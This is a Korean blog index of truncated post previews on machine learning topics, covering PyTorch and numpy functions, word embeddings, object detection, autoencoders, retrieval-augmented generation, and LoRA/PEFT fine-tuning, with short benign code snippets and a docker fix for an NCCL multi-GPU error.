Pytorch Error "one of the variables needed for gradient computation has been modified by an inplace inplace operation의 의미 특정 연산 이후에 연산에 사용된 Tensor 자기 자신의 값을 수정하는 연산을 의미한다. 대표적으로 skip connection을 할 때 이 연산을 사용하곤 한다. 이 연산을 수행하면 메모리를 절약할 수는 있지만 backward 미분 연산을 할 때 loss를 저장하지 않기 때문에 네트워크를 2개 이상 사용할 경우 문제가 발생할 수 있다. ※ pytorch operations Tensors — PyTorch Tutorials 1.11.0+cu102 documentation import torch import numpy as np Tensor Initialization Tensors can be initialized in various ways. Take a look at

(데이터 전처리) WordNet Embedding [내부링크]

시소리스(어휘 분류 사전) 단어는 내부에 의미를 가지고, 그 의미는 개념과 같기 때문에 계층적 구조를 가진다. 만약 단어의 계층적 구조를 잘 분석하고 분류하여 데이터베이스로 구축한다면 자연어 처리를 할 때 큰 도움이 될 것이다. 이런 용도로 구축된 데이터 베이스를 시소리스(어휘 분류 사전)이라 부른다. 이 포스트에서는 시소리스를 대표하는 WordNet을 다룰 것이다. WordNet English WordNet WordNet은 1985년부터 프린스턴 대학교에서 만드는 프로그램이다. 기계번역을 돕기 위해 만들기 시작하였으며 '동의어 집합' 또는 '상위어', '하위어' 정보들을 잘 구축했다는 장점이 있다. WordNet은 프로그램으로 제작되었기 때문에 다운로드받을 수도 있으며 WordNet 웹 사이트에서 곧 바로 사용할 수도 있다. http://wordnetweb.princeton.edu/perl/webwn 또한 NLTK 자연어 처리 라이브러리에 포함되어 있기 때문에 Import하여 바로

(데이터 전처리) TF-IDF Embedding [내부링크]

개요 One-Hot 벡터로 단어를 표현하게 된다면 많은 문제가 발생한다. 그렇다면 좋은 방법은 없을까? 효과적으로 단어의 정보를 추출하고 싶다면 대상의 특징을 잘 표현할 수 있어야 한다. 컴퓨터이기 때문에 각 특징은 당연히 수치로 표현되며, 계산된 특징으로 최대한 많은 데이터를 설명할 수 있어야 한다. 이 포스트에서는 단어에 대한 특징 추출 방법 중 하나인 TF-IDF를 알아볼 것이다. TF-IDF TF-IDF은 텍스트 마이닝(Text Mining)에서 많이 사용된다. TF-IDF는 출현 빈도를 사용해서 어떤 단어 w 가 문서 d 내에서 얼마나 중요한지를 나타내는 수치이다. 이 수치가 높으면 높을 수록 w 는 d 를 대표한다고 볼 수 있다. TF는 term-frequency의 약자이며, 단어의 문서 내 출현 횟수를 의미한다. IDF는 Inverse document frequency의 약자이며, 그 단어가 출현한 문서 개수의 역수를 의미한다. "단어가 문서에 출현한 횟수가 많으면 많을

(데이터 전처리) Word Embedding / GloVe [내부링크]

GloVe 2014년, 카운트 기반과 예측 기반을 모두 사용한 임베딩 방법론인 GloVe가 만들어졌다. GloVe가 탄생하기 이전에는 문서에서의 각 단어 빈도수를 카운트한 정보를 입력으로 하여 차원 축소를 통해 잠재 변수(벡터) 얻는 카운트 기반 방법론과 실제값과 예측값에 대한 오차를 손실 함수를 통해 줄여나가며 학습하여 임베딩 벡터를 얻는 예측 기반의 방법론이 있었다. 각각 장단점이 있는데 카운트 기반 방법론은 전체 통계를 잘 반영하기는 하지만 단어 의미 유추 작업에는 성능이 떨어지며 예측 기반 방법론은 단어의 의미를 파악하는데는 좋은 성능을 보이지만 전체 통계를 잘 반영하지는 못한다. GloVe는 두 방법론에 대한 한계점을 지적하며 카운트, 예측 기반 방법론 모두를 차용한 임베딩 방법이다. 알고리즘 word2vec의 skip-gram에서는 대상 단어를 통해 주변 단어를 예측하도록 네트워크를 구성하여 단어 임베딩 벡터를 학습하였다. GloVe는 대상 단어에 대해서 코퍼스(말뭉치)에

(딥 러닝) gradient clipping [내부링크]

개요 RNN의 경우에는 BPTT라는 역전파 방식을 사용하여 기울기를 계산한다. (딥 러닝) 순환 신경망(RNN) 개념 수정 : `22.03.05 순환 신경망 (RNN : Recurrent Neural Network) 심층 신경망의 기본 단위는 ... blog.naver.com 매 time-step(sequence) 마다 파라미터에 기울기가 더해지기 때문에 입력의 길이에 따라 기울기의 크기가 달라진다. 즉, 길이가 기울기 값에 영향을 미칠 수 있다는 것인데 길이가 길면 길 수록 기울기가 급격하게 커질 수 있으므로, 학습률을 조절하여 경사하강을 통한 step을 조절할 필요가 있다. 또한 학습률이 너무 커져버리면 한 번 step에 파라미터 값이 지나치게 커져버려서 자칫하다간 잘못된 방향으로 학습되거나 발산해버릴 수 있다. 기울기의 크기인 norm이 너무 커지는 것에 대한 한가지 대책으로 학습률을 아주 작게 설정하는 방법이 있다. 하지만 작은 학습률을 사용하게 된다면 정상적인 기울기 크기를

(객체 탐지) Object Detection 개요 [내부링크]

개요 객체 탐지 문제를 공부하기 이전에 우선 전통적인 이미지 분류 문제를 한번 생각해봐야한다. 위 그림은 CNN Architecture를 사용하여 분류를 하는 과정을 간단하게 보인 것이다. CNN을 거치고 난 후의 Feature Map을 Flatten하여 생성되는 Output Vector로 N개의 클래스를 분류하는 것이 위 그림의 목표인데 "만약 CNN을 거치고 난 후의 Feature Map에서 위치 정보까지 근사시킬 수 있다면 어떻게 될까?"에서 시작된 것이 바로 Object Detection의 아이디어라고 생각하면 될 것 같다. 그럼 가중치 업데이트는 어떤 방식으로 진행을 하게 될까? Object Detection의 결과값에는 분류 정보와 위치 정보가 모두 포함되어있다. 바로 아래의 그림과 같이 말이다. 당연히 학습하기 전이기 때문에 위치 정보나 분류 정보가 이상하게 나올 것이다. 이렇게되면 당연하게 우리의 목표는 우리가 원하는 값을 얻는 방향으로 가중치를 업데이트하는 것이 된다

(객체 탐지) Object Detection / RCNN 개념 [내부링크]

개요 객체 탐지의 기본 개념을 잘 모른다면 아래의 포스트를 참고하고 오길 바란다. (객체 탐지) Object Detection 개요 개요 객체 탐지 문제를 공부하기 이전에 우선 전통적인 이미지 분류 문제를 한번 생각해봐야한다. 위 그림... blog.naver.com RCNN (Regions with Convolutional Neuran Network) RCNN(Regions with Convolutional Neuran Network)은 객체 탐지 분야에 딥 러닝을 처음으로 적용한 Two-Stage detector이다. RCNN의 기본 흐름은 아래와 같다. 먼저 CNN 네트워크를 통과하여 생성된 Feature Map을 Object가 있을 만한 영역(Region)을 추천하는 네트워크인 Region Proposal에 투입하여 객체가 있을 만한 영역에 대한 정보를 얻어낸다. Region Proposal 우리가 VGGNet을 사용하여 특정 그림에 대한 Feature map을 얻었다고 해보

(pytorch) torch.clamp [내부링크]

torch.clamp torch.clamp — PyTorch 1.12 documentation torch.clamp torch. clamp ( input , min = None , max = None , * , out = None ) → Tensor Clamps all elements in input into the range [ min , max ] . Letting min_value and max_value be min and max , respectively, this returns: y_i = \min(\max(x_i, \text{min\_value}_i), \text{max\_value}_i) y i = min ... pytorch.org 첫 번째 파라미터인 input tensor의 최대값과 최소값을 제한하는 메소드이다. import torch a = torch.FloatTensor([1, 2, 3, 4, 5, 6]) # tensor([1., 2., 3., 4., 5., 6

(pytorch) torch.Tensor.unfold [내부링크]

torch.Tensor.unfold torch.Tensor.unfold — PyTorch 1.12 documentation torch.Tensor.unfold Tensor. unfold ( dimension , size , step ) → Tensor Returns a view of the original tensor which contains all slices of size size from self tensor in the dimension dimension . Step between two slices is given by step . If sizedim is the size of dimension dimension for self , the s... pytorch.org 이게 문서를 읽어보니깐 slice라고 표현하는 부분이 필자가 보기에는 시퀸스 데이터 다룰 때 sliding window와 매우 유사해 보여서 (그냥 똑같아 보였음) 그냥 필자가 보기 편하게 slice를 wi

(pytorch) torch.nn.utils.rnn.pad_sequence [내부링크]

torch.nn.utils.rnn.pad_sequence torch.nn.utils.rnn.pad_sequence — PyTorch 1.12 documentation torch.nn.utils.rnn.pad_sequence torch.nn.utils.rnn. pad_sequence ( sequences , batch_first = False , padding_value = 0.0 ) [source] Pad a list of variable length Tensors with padding_value pad_sequence stacks a list of Tensors along a new dimension, and pads them to equal length. For example, if the... pytorch.org time series 데이터 전처리(특히 패딩 작업을 할때)에 자주 사용되는 메소드이다. 주어진 데이터의 최대 size에 맞추어 부족한 부분을 사용자가 정한 pad

(pytorch) torch.Tensor.index_select [내부링크]

torch.Tensor.index_select torch.index_select — PyTorch 1.12 documentation torch.index_select torch. index_select ( input , dim , index , * , out = None ) → Tensor Returns a new tensor which indexes the input tensor along dimension dim using the entries in index which is a LongTensor . The returned tensor has the same number of dimensions as the original tensor ( input ). ... pytorch.org 원래의 Tensor에서 원하는 index에 해당하는 요소(값)만 따로 뽑아서 새로운 Tensor를 만들어준다. Parameter input : Tensor를 입력으로 받는다. dim : index할

(numpy) numpy.around [내부링크]

numpy.around numpy.around — NumPy v1.23 Manual numpy.around numpy. around ( a , decimals = 0 , out = None ) [source] Evenly round to the given number of decimals. Parameters a array_like Input data. decimals int, optional Number of decimal places to round to (default: 0). If decimals is negative, it specifies the number of positions to the left... numpy.org ndarray 타입 데이터 내의 요소 모두에 반올림을 적용할 수 있는 함수이다 parameter a : 데이터를 입력받는다. decimals (default = 0) : 소숫점 몇 번째 자리를 반올림 할 지 지정한다. 단, 음수일 경우 정수 부분의 반

(numpy) numpy.isclose [내부링크]

numpy.isclose numpy.isclose — NumPy v1.23 Manual numpy.isclose numpy. isclose ( a , b , rtol = 1e-05 , atol = 1e-08 , equal_nan = False ) [source] Returns a boolean array where two arrays are element-wise equal within a tolerance. The tolerance values are positive, typically very small numbers. The relative difference ( rtol * abs( b )) and the a... numpy.org 배열 a와 배열 b 각 요소값 간의 오차가 일정 범위 안일 경우 True를 반환한다. 배열 a와 배열 b 각 요소값 간의 오차가 일정 범위 안에 들지 않을 경우 False를 반환한다. parameter a, b (array_like) : 두 배열을

(pytorch) torch.gather [내부링크]

torch.gather torch.gather — PyTorch 1.12 documentation torch.gather torch. gather ( input , dim , index , * , sparse_grad = False , out = None ) → Tensor Gathers values along an axis specified by dim . For a 3-D tensor the output is specified by: out [ i ][ j ][ k ] = input [ index [ i ][ j ][ k ]][ j ][ k ] # if dim == 0 out [ i ][ j ][ k ] = input [ i... pytorch.org tensor 내 특정 위치에 존재하는 값만 따로 뽑아서 쓸 수 있게 도와준다. 바로 이해하기는 힘든 함수이기 때문에 차근차근 노트에 적어가며 공부해보는 것을 추천한다. ※ index 배열 index 배열의 차원의 크기는 input

(pytorch) torch.Tensor.masked_fill [내부링크]

torch.Tensor.masked_fill torch.Tensor.masked_fill_ — PyTorch 1.12 documentation torch.Tensor.masked_fill_ Tensor. masked_fill_ ( mask , value ) Fills elements of self tensor with value where mask is True. The shape of mask must be broadcastable with the shape of the underlying tensor. Parameters mask ( BoolTensor ) – the boolean mask value ( float ) – the value to fill in with ... pytorch.org Parameter mask : masking 할 것인지 말 것인지를 결정하는 boolean Tensor를 입력으로 받는다. value : 어떤 값으로 masking할 것인지를 정한다. E

(pytorch) torch.permute [내부링크]

torch.permute torch.permute — PyTorch 1.12 documentation torch.permute torch. permute ( input , dims ) → Tensor Returns a view of the original tensor input with its dimensions permuted. Parameters input ( Tensor ) – the input tensor. dims ( tuple of python:ints ) – The desired ordering of dimensions Example >>> x = torch . randn ( 2 , 3 , 5 ) >>> x . size... pytorch.org 기능적으로 numpy의 transpose 함수와 동일하다. torch.transpose 함수의 경우에는 입력으로 2개의 dimension index만 받는 데 반해 torch.permute 함수의 경우에는 입력으로 여러 개의 d

(데이터 과학) einops 라이브러리 [내부링크]

einops 개요 복잡한 차원 연산을 도와주는 라이브러리이다. 보통은 각각의 딥 러닝 프레임워크의 einsum() 함수를 많이 사용하여서 사용자들에게 복잡한 차원 연산을 쉽게 할 수 있도록 도와주었지만 단점이라면 각 프레임워크마다 작성법이 통일되지 않았고 그 기능이 제한적이라는 점이었다. 이 단점을 극복하기위한 라이브러리가 바로 einops 이다. einops는 직관적이며 빠르게 작동하며 거의 모든 딥 러닝 프레임워크에서 동일하게 작동한다. 최근에는 딥 러닝 분야의 저명한 개발자들도 einops에 대해 언급하며 즐겨 사용한다고 전해진다. How to Use? einops는 직관적이기 때문에 튜토리얼만 보고도 쉽게 따라갈 수 있다. Writing better code with pytorch and einops Learning by example: rewriting and fixing popular code fragments einops.rocks input tensor의 각 차원이 가

(딥 러닝) Weight Initialization [내부링크]

개요 (딥 러닝) 인공 신경망의 개념과 기본 수학 용어 틀린 부분이 있다면 언제든지 지적 부탁드립니다:) 인공 신경망 (Artifical Neural Network, ANN) 로... blog.naver.com 우리는 인공 신경망의 학습을 통해 무엇을 구하고 싶은 건지 잠깐 생각해볼 필요가 있다. 원하는 결과를 얻기 위해 가중치를 조정하는 것이 학습의 목적이 아닌가? 즉, 인공 신경망에서 가중치(Weight)는 어떤 값이냐에 따라 모델의 성능에 엄청난 영향을 줄 수 있다. 가중치의 초기값을 정한다는 것은 레이싱 게임의 출발선(startline) 위치를 정하는 것과 같다. 어디에서부터 출발하느냐에 따라 목적함수의 결과가 최소가 되는 가중치를 찾는 속도가 달라지기 때문이다. 이런 이유로 가중치를 어떤 방식으로 초기화하느냐에 대한 방법론은 꾸준히 나오고 있다. 이 포스트에서는 가중치 초기화의 여러가지 방법들에 대해 다루고자 한다. zero initialization 우선 가중치의 초기값을

(딥 러닝) Variational AutoEncoder 개념 [내부링크]

틀린 부분 있다면 언제든지 지적 부탁드립니다:) 우선 AutoEncoder가 무엇인지 모른다면 아래의 포스트를 참고하고 오길 바란다. (딥 러닝) 오토 인코더 / 개념 및 실습 AutoEncoder 개념 오토 인코더는 비지도 학습 모델이며 일반적으로 대칭 구조를 띄고 있다. 입력 데이터... blog.naver.com VAE; Variational AutoEncoder 개요 우리가 찾고자 하는 어떤 분포가 있는데 그 분포가 너무나 복잡해서 모델링을 할 수 없었다. 때문에 우리가 사용할 수 있는 분포를 찾고자 하는 분포로 최대한 근사하고자 한다. 위 상황을 베이지안 inference에서 해석하자면 posterior distribution pθ(z | x)을 찾고 싶은 상황인데 posterior distribution의 경우의 수가 너무 많아 모델링이 불가능하니 variational distribution qϕ(z | x)이라는 상대적으로 간단하지만 최적화할 수 있는 분포를 도입하여 v

(딥 러닝) Adversarial Autoencoder 개념 [내부링크]

Adversarial AutoEncoder 개요 Adversarial AutoEncoder(AAE)는 Variational AutoEncoder(VAE)와 Generative Adversarial Network(GAN)의 개념을 결합한 형태이다. (딥 러닝) Variational AutoEncoder 개념 틀린 부분 있다면 언제든지 지적 부탁드립니다:) 우선 AutoEncoder가 무엇인지 모른다면 아래의 포스트를... blog.naver.com (딥 러닝) GAN / GAN 개념 및 실습 개요 인공 신경망은 수천, 수만개 이상의 가중치를 사용하여 정보를 정제하고 축약하는데 사용된다. 대표적... blog.naver.com AAE의 목적은 Variation Inference를 수행하기 위해 GAN을 사용하는 AutoEncoder이다. 논문의 Abstract를 잘 읽어보면 Aggregated posterior와 arbitrary(임의의) prior distribution을 서로 매칭하

(머신 러닝) 차원 축소 / t-SNE [내부링크]

t-SNE t-분포 t-분포는 Student라는 가명을 쓰는 학자가 발표한 Student t-분포에서 유래되었다. 위 식을 통해 우리는 t-분포가 표본 평균의 표준화 식에서 모표준편차 σ를 표본표준편차 s로 대체한 것임을 알 수 있다. 어떤 표준 정규분포를 추정할 때 모표준편차를 알고 있다면 표준 정규분포로 모평균을 더 정확하게 추정할 수 있을 것이다. 그러나 일반적으로 모표준편차를 알고 있지는 않다. 모평균조차 모르는데 모표준편차를 안다는 것 자체가 이상한 것이고 모집단 전체를 조사한다는 것은 현실 세계에서 거의 불가능하기 때문이다. 때문에 모표준편차 대신 표본표준편차의 값을 이용한 t-분포로 모평균을 추측한다. https://ko.wikipedia.org/wiki/%ED%8C%8C%EC%9D%BC:Student_t_pdf.svg t-분포는 표준 정규 분포와 유사하다. 0을 중심으로 좌우 대칭 형태를 이루며 양쪽 끝 부분이 표준 정규분포보다 두껍다는 특징을 가지고 있다. 이는 표준

(pytorch) PackedSequence object [내부링크]

PackedSequence object Padding 우리가 수집한 데이터의 길이가 모두 같은 것은 아니다. 보통 딥 러닝에서 Layer를 거칠 때 node의 수는 고정되어 있기 때문에 데이터의 길이를 통일해줄 필요가 있는데, 이를 위해 아무 의미 없는 값을 추가하여 모든 데이터의 길이를 똑같이 맞춰주는 작업을 Padding이라 한다. 위 그림과 같은 느낌으로 모든 데이터의 길이를 통일해주는 것을 의미한다. RNN : Padding의 문제점 단순히 padding을 하여 바로 학습에 사용하면 되지, 왜 여기서 문제가 발생할 수도 있다는걸까? 그것은 바로 의미없는 [pad] 값 (여기서는 0) 이 계속해서 RNN 연산에 참여하기 때문이다. 위 예제의 빨간 부분을 보면서 생각해보자. 빨간 부분의 첫 번째 원래 sequence 길이는 9인데 반해 두 번째 원래 sequence 길이는 3이다. 학습을 위해 의미 없는 값인 0으로 padding하여 길이를 맞춰준 것인데 길이가 성능에 큰 영향을

(딥 러닝) Combine Losses and Weight those [내부링크]

Combine Losses Technic 우선 우리가 regression task와 classification task를 동시에 training하고 싶다고 해보자. 그래서 아래와 같이 2개의 loss function을 쓰려고 한다. regression_loss = torch.nn.MSELoss() classification_loss = torch.nn.BCEWithLogitsLoss() 위 2개의 loss 들을 어떻게 하면 서로 함께 적용하면서 backward를 할 수 있을까? 가장 먼저 할 수 있는 생각은 2개의 loss를 합치고 평균을 내는 것이다. total_loss = (regression_loss + classification_loss) / 2 하지만 이 방법은 좋은 선택이 아니다. 왜냐하면 어느 손실 함수가 중요한 것인지를 정해주지 않았기 때문에 두 손실함수가 모델에 동일한 영향을 줄 것이다. 그렇다면 두 loss에 가중을 trainable 하게 두는 방법을 생각해볼 수

(pytorch) NCCL Error 2: unhandled system error [내부링크]

문제 NCCL Error 2: unhandled system error 이 에러는 보통 docker container 내부에서 일어나는 문제이며 특히 multi GPU를 사용하는 리눅스 환경에서 자주 발생한다. model = BertForSequenceClassification.from_pretrained(MODEL_NAME) torch.nn.DataParallel(model, device_ids=[0, 1, 2, 3]) 해결 방법 docker container를 생성할 때 --ipc=host 옵션을 추가하면 문제가 해결된다. 메모리 사용을 docker container 내부에서 사용하지 않고 외부의 host를 사용하겠다는 의미이다. $ docker run -it --gpus all --ipc=host --name wooy0ng ubuntu:18.04 /bin/bash 추가 외국 커뮤니티를 뒤져보니 윈도우 환경에서는 multi gpu를 지원하지 않는다는 말도 간혹 보이는 것 같다.

(데이터 과학) 손실 함수 / Focal Loss [내부링크]

One-Stage Detector (객체 탐지) Object Detection / RCNN 개념 개요 객체 탐지의 기본 개념을 잘 모른다면 아래의 포스트를 참고하고 오길 바란다. RCNN (Regions wi... blog.naver.com Two-stage Detector는 Resional Proposal을 한번 거쳐 object가 존재할 만한 위치를 대략적으로 특정하고 가기 때문에 거짓(negative)인 box가 One-Stage Detector보다는 작다. 하지만 One-Stage Detector는 이미지 전체에서 우리가 원하는(극히 일부분의) 객체가 위치하는 Bounding Box를 찾아내야하기 때문에 학습 중 클래스 불균형 문제가 매우 심하다. 이를 정리하면 One-Stage Detector가 가지는 문제점은 다음과 같다. 대부분의 Location 정보는 학습에 도움이 되지 않는 easy negative 이기 때문에 학습에 도움이 되지 않는다. easy negative이므

(자연어 처리) BART 개념 [내부링크]

BART (Bidirectional and Auto-Regressive Transformers) 개요 19년 10월에 Facebook에서 발표한 BART는 Denoising Auto Encoder이다. Training을 할 때는 Auto Encoder에서의 학습 방법과 유사하게 손상된 text를 reconstruction하는 방법으로 모델을 학습시킨다. word2vec, BERT, SBERT, XLNET, Roberta와 같은 self-supervised 기반의 모델들은 분명히 다양한 분야의 NLP task에서 좋은 성능을 보여줬다. 하지만 위 모델들과 같은 MLM(Masked Language Model)은 특정 Task에만 집중을 하기 때문에 특정 분야를 벗어나게 되면 활용성이 떨어진다는 단점이 있다. 이런 한계점을 극복하기 위해 BART가 만들어졌다고 생각하면된다. Architecture BART는 BERT와 GPT를 합친 구조이다. 즉, BERT의 Bidirectional 특징

(자연어 처리) FiD 개념 [내부링크]

FiD (Fusion in Decoder) 개념 오픈 도메인 질의응답(ODQA) 모델의 성능은 Knowledge Graph(KG)를 활용하는 것 보다 질의(query)에 적절한 문서를 찾은(retrieve) 후 생성 모델에 넣어 답을 얻는 방식이 성능이 더 좋다고 한다. 현재 가장 성능이 좋다고 알려진 ODQA 모델인 FiD(Fusion in Decoder), RAG(Retrieval-Augmented Generation) 등이 이 방법을 채택하고 있다. ODQA를 Extractive model이 아닌 Generative model로 구현하려는 시도는 여러 번 있었다. 이미 생성 모델 안에 다양한 지식이 내재되어 있다는 것은 GPT 계열 모델의 실험으로 입증되었기 때문에 충분히 시도해 볼 만한 했다. 하지만 생성 모델 안에 다양한 지식이 내재되어 있다는 것은 모델의 크기가 매우 커야한다는 전제조건이 붙는다. FiD는 이런 문제를 보완하기 위해 아래와 같이 생성 모델에 검색 결과를 넣

(자연어 처리) RAG 개념 [내부링크]

RAG (Retrieval Augmented Generation) 개념 오픈 도메인 질의응답(ODQA) 모델의 성능은 Knowledge Graph(KG)를 활용하는 것 보다 질의(query)에 적절한 문서를 찾은(retrieve) 후 생성 모델에 넣어 답을 얻는 방식이 성능이 더 좋다고 한다. 현재 가장 성능이 좋다고 알려진 ODQA 모델인 FiD(Fusion in Decoder), RAG(Retrieval-Augmented Generation) 등이 이 방법을 채택하고 있다. ODQA를 Extractive model이 아닌 Generative model로 구현하려는 시도는 여러 번 있었다. 이미 생성 모델 안에 다양한 지식이 내재되어 있다는 것은 GPT 계열 모델의 실험으로 입증되었기 때문에 충분히 시도해 볼 만한 했다. 하지만 생성 모델 안에 다양한 지식이 내재되어 있다는 것은 모델의 크기가 매우 커야한다는 전제조건이 붙는다. RAG는 이런 문제를 해결하기 위해 생성 모델에 검색

(자연어 처리) DAPT와 TAPT [내부링크]

DAPT와 TAPT 개요 Transformer의 발표 이후 여러가지 파생 모델이 세상 밖으로 쏟아지게 되었다. (BERT와 GPT가 대표적) 이런 모델들은 제각기 다른 모델 구조와 손실 함수를 가지고 있지만 한 가지는 동일하다. 바로 Pretraining 후에 fine tuning 하는 프레임워크이다. 사전 학습 시 대량의 Corpus를 학습하여 일반화 성능을 확보한 뒤, Downstream task에 대해 추가적인 학습을 진행하여 특정 Task에 맞춰준다는 개념은 동일했다는 것이다. 하지만 특정 도메인(의료, 금융 등)에서는 좋은 성능을 기대하기 어렵다고 한다. 일반적으로 Pretraining 시 사용하는 Wikipedia 데이터셋은 적용하고자 하는 데이터는 fine tuning할 때 쓸려는 데이터셋과는 도메인이 많이 다르기 때문이다. 그래서 다양한 방법으로 성능을 높여보려 노력하였고, 어느 순간 부터는 "도메인에 특화된 사전 학습이 필요하다"는 생각이 자리잡게 되었다고 한다. D

(huggingface) datasets / from_pandas [내부링크]

Datasets.from_pandas pandas Dataframe 형에서 huggingface에서 지원하는 Dataset 형으로 바꿔주는 메소드이다. import pandas as pd from datasets import Dataset df = pd.read_csv('./dataset.csv') dataset = Dataset.from_pandas(df) train과 test로 split하는 방법은 아래와 같다. import pandas as pd from datasets import Dataset df = pd.read_csv('./dataset.csv') dataset = Dataset.from_pandas(df).train_test_split(test_size=0.2) train_dataset = dataset['train'] test_dataset = dataset['test'] sklearn과 거의 유사하게 구현되어있는 것 같다. Datasets Join the Hugg

(huggingface) huggingface는 이제 모델 경량화까지 지원한다 [내부링크]

추가로 알아낸 것이 생긴다면 이 포스트에 추가하겠습니다. Product Serving - Model Optimization ONNX 모델 Serving에 신경을 쓰는 딥 러닝 엔지니어라면 한번 쯤은 들어봤을 ONNX는 서로 다른 딥 러닝 프레임워크를 이어주는 중간 다리 역할을 하는 플랫폼이다. 예를 들어서 Pytorch에서 모델을 만들고 ONNX로 export하면 Tensorflow lite에서 ONNX를 import해서 사용할 수 있다. 다만 ONNX로 변환하는 과정은 어렵고 생각보다 복잡한데 Huggingface에서 이런 복잡함을 해결해주고자 새로운 기능을 제공하였다. Huggingface Optimum 개요 c Optimum Join the Hugging Face community and get access to the augmented documentation experience Collaborate on models, datasets and Spaces Faster exam

(딥 러닝) 은닉층 활성 함수 / GELU 함수 [내부링크]

기울기 소멸 문제를 해결하기 위해서 깊은 신경망 구조에서는 ReLU 활성 함수를 사용하는 것이 일반적이었다. 하지만 언제부턴가 언어모델(LM)의 활성 함수로 GELU를 사용하는 빈도가 점차 늘어나기 시작했는데 이번 포스트에서는 GELU에 대해 공부해보도록 하자. 관련 논문 : https://arxiv.org/pdf/1606.08415.pdf GELU(Gaussian Error Linear Uint) 최신의 언어 모델(LM)이 주로 사용하는 함수인 GELU는 2016년에 나온 꽤 오래된 함수이다. GELU를 자세히 공부해기 전에 ReLU와 dropout의 정의에 대해 잠깐만 훑어보고 가보자. ReLU 함수의 특징은 c 값의 부호에 따라 0 또는 1을 곱하고 dropout의 특징은 c 값에 확률적으로 0 또는 1을 곱한다는 특징을 가진다. 즉, ReLU는 deterministic한 연산이고 dropout은 stochastic한 연산이라고 말할 수 있다. 여기서 GELU는 c의 부호에 영

(딥 러닝) One-Class Convolutional Neural Network 개념 [내부링크]

틀린 부분 있다면 언제든지 지적 부탁드립니다. 괄호 부분은 대학생인 필자의 시점에서 보는 개인적인 생각이므로 틀릴 수 있음을 미리 알려드립니다. 논문 링크 : https://arxiv.org/pdf/1901.08688.pdf Abstract 이 논문에서는 클래스가 하나인 경우의 분류 문제에 대한 접근법을 제안한다. 먼저 평균이 0, 분산이 1인 가우시안 분포를 따르는 random noize를 negative class로 사용하고 cross entropy loss를 사용해 네트워크를 훈련하여 주어진 클래스에 대한 결정 경계를 얻을 뿐만 아니라 적절한 벡터를 얻을 수 있도록 학습하는 것이다. 이 논문에서 제안하는 하나의 클래스 분류에 대한 네트워크, OC-CNN(One-Class Convolution Neural Net)은 UMDAA-02 Face, Exormal 1001, FounderType-200 데이터 셋을 사용하여 학습과 평가를 진행한다. 여기서 언급하는 데이터셋은 사용자 인증

(데이터 과학) cosine similarity [내부링크]

코사인 유사도(cosine similarity) 코사인 유사도는 두 벡터 사이의 각도를 이용해 유사성을 측정하는 방법이다. 위 수식에서 분자는 두 벡터 사이의 요소 곱을 사용하므로 이는 벡터의 내적과 같다. 결과가 1에 가까울 수록 방향이 일치하고 결과가 0에 가까울 수록 직교하며 결과가 -1에 가까울 수록 두 벡터가 서로 반대 방향을 가리키고 있다는 의미와 같다. 벡터의 크기가 별로 중요하지 않은 경우 자주 사용되는 유사성 측정 방법 중 하나이다. 일반적으로 자연어 처리(NLP)나 추천 분야에서 자주 사용한다. 벡터의 내적곱이나 벡터의 크기(norm)을 구하는 연산은 메모리를 많이 잡아먹기 때문에 차원의 크기가 크면 클 수로 연산에 사용되는 리소스가 많아진다. def cosine_similarity(x, y) -> torch.Tensor: out = (x * y).sum() / ((x**2).sum()**0.5 * (y**2).sum()**0.5) return out import

(데이터 과학) jaccard similarity [내부링크]

자카드 유사도 (jaccard similarity) 자카드 유사도는 두 집합 간의 유사도를 구하는 연산이다. 분자에서는 두 집합의 교집합의 크기를 구하고 분모에서는 두 집합의 합집합의 크기를 구한다. 두 집합의 교집합 크기를 합집합 크기로 나누는 것이 자카드 유사도 연산이다. 단, 각 차원에서의 값이 0 또는 0이 아닌 값이 아니라 수치 자체에 대해서 자카드 유사도를 구하려고 한다면 위 연산의 두 번째 줄 수식과 같이 벡터의 각 차원의 숫자에 대해서 min, max 연산을 통해 계산이 가능하다. 보통 희소 데이터(sparse data)를 다루는 경우 주로 사용하는 방법이다. def jaccard_similarity(x, y) -> torch.Tensor: out = torch.stack([x, y]).min(dim=0)[0].sum() / torch.stack([x, y]).max(dim=0)[0].sum() return out 장점 0이 많이 나오는 경우에도 모두 고려한다. 자카드

(딥 러닝) LoRA : Low-Rank Adaption [내부링크]

논문 링크 : https://arxiv.org/pdf/2106.09685.pdf 개요 AI가 발전함에 따라 모델의 규모가 기하급수적으로 커지게 되었고, 더 이상 사용자 레벨에서 학습하기는 어려워지게 되었다. 때문에 언어모델(LM) 대부분의 파라미터를 freeze한 후 극히 일부분만 fine-tuning시키는 방법이 탄생하게 되었고, 이것을 PEFT라 부르게 되었다. 이 포스트에서는 PEFT 학습 방식 중 하나인 LoRA에 대해 알아보도록 하자. LoRA 이 방법은 특정 Task에 맞게 모델을 학습하는 과정에서 실제로 변화하는 가중치는 기존 모델보다 훨씬 낮은 Rank를 갖는다는 가정으로부터 시작되었다. 작은 가중치 변화만으로도 특정 Task를 잘 풀 수 있다면, 이를 별도로 분리해 별도의 matrix를 구성한 후 이를 fine-tuning하는 것이 모델 전체를 fine-tuning하는 것과 비슷하지 않을까? LoRA는 이런 가설을 기반으로 하여, 사전 학습 가중치는 freeze시킨

(딥 러닝) PEFT : Parameter-Efficient-Fine-Tuning [내부링크]

개요 AI가 발전함에 따라 모델의 규모가 기하급수적으로 커지게 되었고, 더 이상 사용자 레벨에서 학습하기는 어려워지게 되었다. 때문에 언어모델(LM) 대부분의 파라미터를 freeze한 후 극히 일부분만 fine-tuning시키는 여러가지 방법이 만들어졌으며, 이런 학습 방식을 통틀어 PEFT라 부르게 되었다. PEFT 우선 Huggingface 홈페이지에서 아래와 같이 해보라고 가이드라인을 제공하고 있다. 한번 훑어보고 오는 것을 추천한다. Parameter-Efficient Fine-Tuning using c PEFT Back to blog 珞 PEFT: Parameter-Efficient Fine-Tuning of Billion-Scale Models on Low-Resource Hardware Published February 10, 2023. Update on GitHub smangrul Sourab Mangrulkar sayakpaul Sayak Paul Motivation

(pandas) DataFrame, Series 차집합 연산 [내부링크]

차집합 두 개의 DataFrame(혹은 Series) 사이의 차집합을 구하는 방법은 다음과 같다. import pandas as pd # 두 개의 Series(혹은 DataFrame)을 만든다. set1 = pd.Series([1, 2, 3, 4]) set2 = pd.Series([3, 4, 5, 6]) # 차집합을 구한다. result = set1[~set1.isin(set2)] print(result) pandas.DataFrame, pandas.Series의 isin() 메소드를 활용하는 방법이다.

(huggingface) Tokenizer's arguments [내부링크]

